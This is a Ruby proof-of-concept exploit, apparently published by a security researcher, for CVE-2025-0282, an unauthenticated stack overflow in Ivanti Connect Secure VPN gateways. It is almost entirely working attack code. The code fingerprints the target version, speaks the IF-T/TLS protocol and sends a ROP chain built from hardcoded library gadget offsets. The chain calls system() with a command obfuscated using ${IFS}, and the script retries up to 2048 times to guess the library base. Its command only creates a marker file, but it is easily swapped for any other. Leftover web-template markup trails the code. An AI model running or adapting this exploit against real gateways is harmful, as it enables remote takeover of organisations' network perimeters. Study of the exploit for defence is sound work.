# PoC for CVE-2025-0282, a remote unauthenticated stack based buffer overflow affecting # Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways. # # Based upon the exploitation strategy published by watchTowr (https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282). # # Usage: ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443 # # Stephen Fewer (Rapid7) - January 16, 2025. require 'base64' require 'socket' require 'openssl' require 'httparty' require 'optparse' HTTParty::Basement.default_options.update(verify: false) def log(txt) $stdout.puts txt end def rand_string(len) (0...len).map {'a'.ord + rand(26)}.pack('C*') end def send_http_data(s, data, verbose=false) s.write(data) result = '' content_length = 0 while line = s.gets p line if verbose m = line.match(/Content-length: (\d+)\r\n/) if m content_length = m[1].to_i end result << line if line == "\r\n" && content_length break if content_length <= 0 content = s.read(content_length) p content if verbose result << content break end end return result end # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6 def get_productversion(ip,port) res = HTTParty.get("https://#{ip}:#{port}/dana-na/auth/url_admin/welcome.cgi?type=inter") return nil unless res&.code == 200 m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i) return nil unless m&.length == 2 m[1] end def hax(ip, port) log "[+] Targeting #{ip}:#{port}" productversion = get_productversion(ip, port) if productversion.nil? log "[-] Could not get product version for #{ip}:#{port}" return end log "[+] Detected version #{productversion}" # Note: All gadgets are from /home/lib/libdsplibs.so targets= { # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f) '22.7.2.3597' => { padding_to_vftable: 2288, vftable_gadget_offset: 0x00934365 + 2, padding_to_next_frame: 2934, offset_to_got_plt: 0x00157c000, gadget_inc_ebx_ret: 0x01338373, gadget_mov_eax_esp_retn_c: 0x00ca2e84, gadget_add_eax_8_ret: 0x007a040c, gadget_mov_esp_eax_call_system: 0x004f0df3, } } target = targets[productversion] throw "No target for #{productversion}" unless target log "[#{Time.now}] Starting..." attempt = 0 0.upto(2048) do s = TCPSocket.open(ip, port) if port == 443 ctx = OpenSSL::SSL::SSLContext.new ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE) s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket| socket.sync_close = true socket.connect end end body = "GET / HTTP/1.1\r\n" body << "Host: #{ip}:#{port}\r\n" body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n" body << "Content-Type: EAP\r\n" body << "Upgrade: IF-T/TLS 1.0\r\n" body << "Content-Length: 0\r\n" body << "\r\n" res1 = send_http_data(s, body) unless res1.include? '101 Switching Protocols' throw "bad response1" end data = [0, 1, 2, 2].pack('C*') # min version 1, max version 2, preferred version 2. body = [ 0x00005597, # VENDOR_TCG 0x00000001, # IFT_VERSION_REQUEST data.length + 16, 0 # seq id ].pack('NNNN') + data s.write(body) attempt += 1 libdsplibs_base = 0xf6492000 buffer = ('C' * target[:padding_to_vftable]) buffer += [libdsplibs_base + target[:vftable_gadget_offset]].pack('V') # ptr to address + 0x48, to ptr, to gadget buffer += ('A' * target[:padding_to_next_frame]) buffer += [libdsplibs_base + target[:offset_to_got_plt] - 1].pack('V') # ebx == got.plt - 1 buffer += [0xCAFEBEEF].pack('V') # esi buffer += [0xCAFEBEEF].pack('V') # edi buffer += [0xCAFEBEEF].pack('V') # ebp buffer += [libdsplibs_base + target[:gadget_inc_ebx_ret]].pack('V') # inc ebx; ret; buffer += [libdsplibs_base + target[:gadget_mov_eax_esp_retn_c]].pack('V') # mov eax, esp; ret 0xc; buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret; buffer += [0xCAFEBEEF].pack('V') buffer += [0xCAFEBEEF].pack('V') buffer += [0xCAFEBEEF].pack('V') buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret; buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret; buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret; buffer += [libdsplibs_base + target[:gadget_add_eax_8_ret]].pack('V') # add eax, 8; ret; buffer += [libdsplibs_base + target[:gadget_mov_esp_eax_call_system]].pack('V') # mov [esp], eax; call system; buffer += [0xCAFEBEEF].pack('V') buffer += "touch /var/tmp/haxor_#{attempt}; #".gsub(' ', '${IFS}') ["\x00"].each do |bad_char| throw "buffer cannot have bad char #{bad_char.chr}" if buffer.include? bad_char end data = "clientHostName=abcdefgh clientIp=127.0.0.1 clientCapabilities=#{buffer}\n\x00" body = [ 0x00000a4c, # VENDOR_JUNIPER 0x00000088, # ? data.length + 16, 1 # seq id ].pack('NNNN') + data log "[#{Time.now}] Triggering ##{attempt}..." s.write(body) rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::ECONNABORTED sleep(1) next end end target_ip = nil target_port = 443 OptionParser.new do |opts| opts.banner = "Usage: CVE-2025-0282.rb [options]" opts.on("-t", "--taget=TARGET", "target IP") do |v| target_ip = v end opts.on("-p", "--port=PORT", "target port") do |v| target_port = v.to_i end end.parse! throw "set target IP via -t argument" unless target_ip hax(target_ip, target_port)
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |